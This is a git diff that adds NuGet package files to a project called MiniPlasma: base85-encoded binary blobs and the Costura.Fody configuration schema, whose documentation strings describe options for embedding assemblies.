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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.xcf b/MiniPlasma/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.xcf new file mode 100644 index 0000000..5aa9a31 --- /dev/null +++ b/MiniPlasma/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.xcf @@ -0,0 +1,160 @@ + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead. + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with |. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with |. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + \ No newline at end of file diff --git a/MiniPlasma/packages/Fody.6.9.3/.signature.p7s b/MiniPlasma/packages/Fody.6.9.3/.signature.p7s new file mode 100644 index 0000000000000000000000000000000000000000..2943e1b076a597d518b4873d574bb780126e51bb GIT binary patch literal 13004 zcmeHtby$?!|1ASUcQ*_uNC><$G=hM1Bc0OS9Rk8gNr)06-5pA!lp-KqN-IhTNC-%S z!kzJmN6$IG@6UUm-#yQBpXc%qv)^~Wd-lxiz1I4ywE;M+8v~moTt55&AB2gT4Tn7e z;IKMW5E_&az{kKg4VMR5p@C6B=qP~YpB+Kjx?pV`D|Zh&7iSSD4i1bPD!?to2XI5V zp#YSdmz$3pafwUb%)?eh&d1T)+**-`4<@gys^r3N&hKZTsw?Hd>F%m(Eu(5@=fdye z$1A9(%i|-4gOd#>y$-<9?*VW$-)uBg5GpDWdK#^6=3OS(yf9`rC+4Hp+rh#VilK#33K1%v=76b2yv3@Gt=kq!Ru z&3|PMa8%}>KRV(kL4%_bq5yDI98@?e2&HZ5o`>yh)1tAWD8LNZ@vgTQv2gb=iG7Zm z)Nh|-FA~!$^G+S8yh$61-vKc0(B=zKtm$+mJJFX_`+e>u9$hpUM;Fx~)L`t&BrgbR z%_`BQ(ARc%#QhGwgBiNydBw?Xo(qrm6J)FhLT|y&HMo95 zwL9UE$t;a;4ZZ8ex*<*TTF=lxIiG|{mA~~TpKkeLYhB$eExo&VoDFJ4z?9CX-kZh? z6+LPc`Rz+3**0(UFE!_=3D*(p zQ65}0l8v)Gcy1Tz{m@%X-}st$#GPb2fBCKVxg@mKsh+*FN({>c7L`k{H{;_)GR5AY zEXuIlsZW)r<_vn4SUYOww8lHt`A!Lp(jQ2d^djznsk)lDq3PD=u^89OlBT6q7F5zn zG~VVx`@xS-RxAs7NA6(GwKObA);9~7)x8cuSkDDWlehlU(D~L zlf$^y;i%|yDTzvY^*xO*_pUTOOtEu#`MjvuHviI_jH64HK-iOg8x@hOar(l{n$m0C z#%R48>i&V|OgO>a9@Zn-=%yws1+_(wiVvLl(*q2m#&d;Ic6_6ERYoDWv*1rLX>uX% z_|M2-n}9xd<$Jf!I*aznF7fJ44`OZoQ>z8Y{4qXXe1c7^K7m!$c*j5Vg4s3p4|xN* z5Xp&=bjzt#)|_av31#YPbxAidaTV7K;dqK~LPq;xiJ|yd*vWKi&ptUoJb}^o!hA$w zOynS}6>Zq8o5B8ls$(rT9l(&mrnWg0JNI%2rkXy1~p zQx_%`Y}j9%Y!{P>gP-{VJ!3|IWrbsM=6+_{!q$m0hsK$IW&vlUV5*wIM+%XTcH&d&YnIFiN5fE-)oB)KlQO7to}^c$RiQ9!4ilrQ z;#SbD!dk%p^^S3Km^nRcG@DavBUShL%rVgrbwjiwZ5*inQj+FM{T(O6X4}^nR-&)x z>Kttq24{~m)HD+kYI?Dku9EsJ&c=i=RbUdy5m!WrVUBn;5A9e70dS1R037`AJ0@dQ zNK~7SrYmRN7$|8;sGR!ClKEHg5P``sD8L63Mk4Ybm@I&33c+~!h53aI0J~p#ff67` zqC5^M!8yubMiK)zR1y$J-asQ2I==xqhkrRfh?I+^6-3j{#@Wu<2BM)U$p;7vKs4ng zd4>2OFaQRHNJ&Bw5d5E^d90S_+Av#%Z-eoeus&^7UDzY6LmDUm{bU-|r7WyQ<=P(Xu9X9xIS9P&rta z#6c=G<#Xp1#?PC5at5S@$~7Pe%MQ`2=;{-!t*G}I*w3trjvodq@JEPUr(U_oor*1N!Kdfj+O2GToq+FvAl-uEKv)YuJH;Lsa5B#YPGP-^7%TU z{NqR5>7^*-BZ8+i7>Vrx-K(^)rQY`4qC7ML&w@w7^<}0c3oGMK4xn>yDi*1-C!b%C 